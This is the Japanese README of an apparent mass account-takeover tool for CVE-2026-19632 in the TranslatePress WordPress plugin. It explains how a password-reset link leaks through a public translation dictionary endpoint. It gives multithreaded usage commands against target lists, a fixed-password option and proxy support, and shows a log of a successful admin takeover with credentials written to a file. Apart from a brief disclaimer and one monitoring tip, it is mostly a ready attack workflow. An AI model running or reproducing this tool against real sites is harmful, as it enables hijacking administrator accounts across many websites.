
未認証のアカウント乗っ取りPoC for TranslatePress Multilingual <= 3.3.1 (WordPress)
CVE-2026-19632 用の大規模アカウント乗っ取りツールです。これは TranslatePress – Multilingual WordPress プラグイン(≤ 3.3.1)における、パスワードリセットリンクの開示によって引き起こされる 未認証アカウント乗っ取りです。ターゲットリストに対してコマンド1つで実行でき、 完全な攻撃チェーンが自動的に実行され、乗っ取りに成功するたびに その瞬間に出力ファイルへ書き込まれます。
免責事項 — 許可された用途のみ。 このツールは実際のアカウントパスワードを変更し、 実際のパスワードリセットメールを送信します。所有しているシステム、または明示的な書面による テスト許可を得たシステムに対してのみ使用してください。作者は不正使用について一切の責任を負いません。
| CVE | CVE-2026-19632 |
| 製品 | TranslatePress – Multilingual(WordPress プラグイン、スラッグ translatepress-multilingual)、Cozmoslabs 製 |
| 影響を受けるバージョン | 3.3.1 以下の全バージョン(40万以上のアクティブインストール) |
| 修正済みバージョン | 3.3.2(修正内容: 公開辞書 AJAX ハンドラーへの current_user_can チェック追加) |
| CVSS 3.1 | 9.8 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H(CNA: Wordfence) |
| CWE | CWE-200(機密情報の漏えい)+ CWE-640(脆弱なパスワード回復メカニズム) |
| 影響 | 未認証の管理者アカウント乗っ取り |
trp_data を出力し、
そこには get_translations nonce が含まれます。ログアウト中の訪問者向けの
nonce は設計上公開されており、プラグインはこれをセキュリティの基盤として利用しています。wp_mail にフックし、
送信メールを受信者のロケールで翻訳します。匿名の攻撃者が、プロフィールのロケールが
公開済みの第二言語である管理者に対して wp-login.php?action=lostpassword を
トリガーすると、有効なリセットキーを含む平文の wp-login.php?action=rp URL を含む
リセットメール全体が、攻撃者のリクエスト内で同期的に
wp_trp_dictionary_<default>_<locale> に挿入されます。SMTP が機能する必要すらありません。trp_get_translations_regular は
wp_ajax_nopriv として登録されており、3.3.2 より前は公開 nonce のみを検証していました。
誰でも string_ids によって辞書を列挙し、キーを抽出できます。完全な技術レポート: CVE-2026-19632-REPORT.md
cve-2026-19632.pyリスト内のすべてのターゲットに対して完全なチェーンを実行する、単一の自己完結型スクリプトです:
readme.txt フォールバック)trp_data + 言語スイッチャープロービング)url|username|password を出力ファイルに追記(フラッシュ、スレッドセーフ、実行完了を待たない)組み込まれた堅牢性:
--new-password による固定パスワード)。pip install -r requirements.txt
# ターゲットリストに対する完全実行、20 スレッド
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 20
# すべてのターゲットに固定パスワードを使用
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 10 --new-password 'Pwn3d!2026'
# プロキシ経由
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 10 --proxy http://127.0.0.1:8080
| オプション | 説明 |
|---|---|
-l, --list | 1行に1つのターゲット URL を含むファイル(# コメント可) |
-o, --output | 結果ファイル、形式 url|username|password(デフォルト vuln.txt) |
-t, --threads | 同時ワーカー数(デフォルト 10) |
--new-password | すべてのターゲットの固定パスワード(デフォルト: ターゲットごとにランダムな14文字) |
--timeout | リクエストごとのタイムアウト(秒)(デフォルト 15) |
--proxy | HTTP プロキシ、例: http://127.0.0.1:8080 |
--no-color | カラー出力を無効化 |
ラボ環境(WordPress 7.0.4 + TranslatePress 3.3.1、ar デフォルト → en_US 第二言語)に対する
ターミナルログ — 値はサニタイズ済み:
[00:09:06] [INFO] CVE-2026-19632 takeover tool - 3 target(s), 3 thread(s)...
[00:09:06] [SKIP] http://example.com (no TranslatePress)
[00:09:07] [INFO] http://TARGET TP found - langs: ar->en_US, nonce=a1b2c3d4e5
[00:09:09] [INFO] username candidates: ['admin', ...]
[00:09:09] [WARN] attempt 1/3 failed (stale key)
[00:09:09] [WARN] attempt 2/3 failed (stale key)
[00:09:09] [WARN] attempt 3/3 failed (stale key)
[00:09:09] [INFO] all keys stale - fresh reset trigger...
[00:09:15] [TAKEOVER] http://TARGET SUCCESS - user='admin' password='Pwn3d!2026'
[00:09:15] [INFO] done. summary: ERROR=1 | SKIP=1 | TAKEOVER=1
vuln.txt(成功した瞬間にライブで書き込まれます):
http://TARGET|admin|Pwn3d!2026
vuln.txtは機密性の高い成果物として扱ってください — 実際の認証情報や有効なリセットキーが 含まれています。.gitignoreに追加してください。
不要なもの: 動作するメールサーバー(URL は送信試行前に wp_mail
フィルター内に保存されるため)。
security nonce を使用した連続的な string_ids 列挙がないか
admin-ajax.php ログを監視する。| 日付 | イベント |
|---|---|
| 2026-08-12 | CVE-2026-19632 予約 |
| 2026-08-13 | 修正を含む TranslatePress 3.3.2 リリース |
| 2026-08-25/26 | Wordfence がアドバイザリを公開; 24時間以内に 8,618 件の悪用試行をブロック |
| 2026-08-28 | ThaiCERT アドバイザリ |
momopon1415) および Wordfence チーム(3.3.2 のチェンジログに記載)。MIT © 2026 ghostpel